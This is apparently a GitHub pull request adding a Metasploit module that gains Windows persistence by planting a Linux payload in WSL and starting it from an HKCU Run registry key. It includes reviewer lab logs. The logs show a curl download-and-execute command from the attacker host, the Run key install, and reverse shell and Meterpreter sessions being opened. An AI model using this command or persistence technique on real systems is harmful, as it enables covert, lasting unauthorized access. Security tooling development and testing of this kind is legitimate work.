-
Notifications
You must be signed in to change notification settings - Fork 14.7k
Windows WSL registry persistence #20701
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Conversation
|
|
Good to see it tested on WSL 2! |
msutovsky-r7
left a comment
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
msf exploit(windows/persistence/wsl/registry) > run verbose=true
[*] Command to run on remote host: curl -so ./OuYASrLw http://192.168.168.128:8080/HygsSaoDfedPTzwLqWRI2A;chmod +x ./OuYASrLw;./OuYASrLw&
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
msf exploit(windows/persistence/wsl/registry) >
[*] Fetch handler listening on 192.168.168.128:8080
[*] HTTP server started
[*] Adding resource /HygsSaoDfedPTzwLqWRI2A
[*] Started reverse TCP handler on 192.168.168.128:4444
[!] SESSION may not be compatible with this module:
[!] * incompatible session platform: windows. This module works with: Unix, Linux.
[*] Running automatic check ("set AutoCheck false" to disable)
[+] Powershell detected on system
[*] Checking registry write access to: HKCU\Software\Microsoft\Windows\CurrentVersion\Run\rjxAUFrhShlH6RC
[+] The target is vulnerable. Registry writable and WSL installed
[*] Root path is HKCU
[*] Enumerating WSL Instances
WSL
===
# Instance_Name State Version Default
- ------------- ----- ------- -------
1 Ubuntu Running 2 true
[*] Writing payload to: /home/ms/vLcySFDA
[+] Payload wrote successfully
[*] Installing run key
[+] Installed run key HKCU\Software\Microsoft\Windows\CurrentVersion\Run\972rGv1z
[*] Meterpreter-compatible Cleanup RC file: /home/ms/.msf4/logs/persistence/DESKTOP-FL6SVUR_20251119.1506/DESKTOP-FL6SVUR_20251119.1506.rc
[*] 192.168.168.221 - Meterpreter session 1 closed. Reason: Died
msf exploit(windows/persistence/wsl/registry) >
[*] Client 192.168.168.221 requested /HygsSaoDfedPTzwLqWRI2A
[*] Sending payload to 192.168.168.221 (curl/8.5.0)
[*] Command shell session 2 opened (192.168.168.128:4444 -> 192.168.168.221:51234) at 2025-11-19 12:17:03 +0100
msf exploit(windows/persistence/wsl/registry) > sessions 2
[*] Starting interaction with 2...
id
uid=1000(ms) gid=1000(ms) groups=1000(ms),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),100(users)
msutovsky-r7
left a comment
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
msf exploit(windows/persistence/wsl/registry) > run verbose=true
[*] Command to run on remote host: curl -so ./siucFmDu http://192.168.168.128:8080/M1We21fZKyvgtWK9IWStLA;chmod +x ./siucFmDu;./siucFmDu&
[*] Exploit running as background job 0.
[*] Fetch handler listening on 192.168.168.128:8080
[*] HTTP server started
[*] Adding resource /M1We21fZKyvgtWK9IWStLA
[*] Started reverse TCP handler on 192.168.168.128:4444
[!] SESSION may not be compatible with this module:
[!] * incompatible session platform: windows. This module works with: Unix, Linux.
[*] Running automatic check ("set AutoCheck false" to disable)
[+] Powershell detected on system
[*] Checking registry write access to: HKCU\Software\Microsoft\Windows\CurrentVersion\Run\XtZdtoBY3e6LPMq
[+] The target is vulnerable. Registry writable and WSL installed
[*] Root path is HKCU
[*] Enumerating WSL Instances
WSL
===
# Instance_Name State Version Default
- ------------- ----- ------- -------
1 Ubuntu Running 2 true
[*] Writing payload to: /home/ms/EhYwlsGxQUDG. WSL may take a little while to start up...
[+] Payload wrote successfully
[*] Installing run key
[+] Installed run key HKCU\Software\Microsoft\Windows\CurrentVersion\Run\0P4pS3uk
[*] Meterpreter-compatible Cleanup RC file: /home/ms/.msf4/logs/persistence/DESKTOP-FL6SVUR_20251120.5607/DESKTOP-FL6SVUR_20251120.5607.rc
[*] 192.168.168.221 - Meterpreter session 1 closed. Reason: Died
[*] Client 192.168.168.221 requested /M1We21fZKyvgtWK9IWStLA
[*] Sending payload to 192.168.168.221 (curl/8.5.0)
[*] Meterpreter session 2 opened (192.168.168.128:4444 -> 192.168.168.221:56566) at 2025-11-20 11:58:22 +0100
msf exploit(windows/persistence/wsl/registry) > sessions 2
[*] Starting interaction with 2...
meterpreter > sysinfo
Computer : DESKTOP-FL6SVUR.localdomain
OS : Ubuntu 24.04 (Linux 6.6.87.2-microsoft-standard-WSL2)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
meterpreter > getuid
Server username: ms
Release NotesAdds a new Windows persistence module - the WSL registry module. The module will create registry entries ( |
Fixes #20683
Creates a new Windows persistence by putting a LINUX payload in WSL and executing it from the registry. Does your Windows AV detect Linux payloads? Hope so!
Also ninjas in a patch to where a crash would happen with reverse_ssh payloads because there was no
wfsdelayVerification
msfconsoleuse exploit/windows/persistence/wsl/registryset SESSION <id>exploit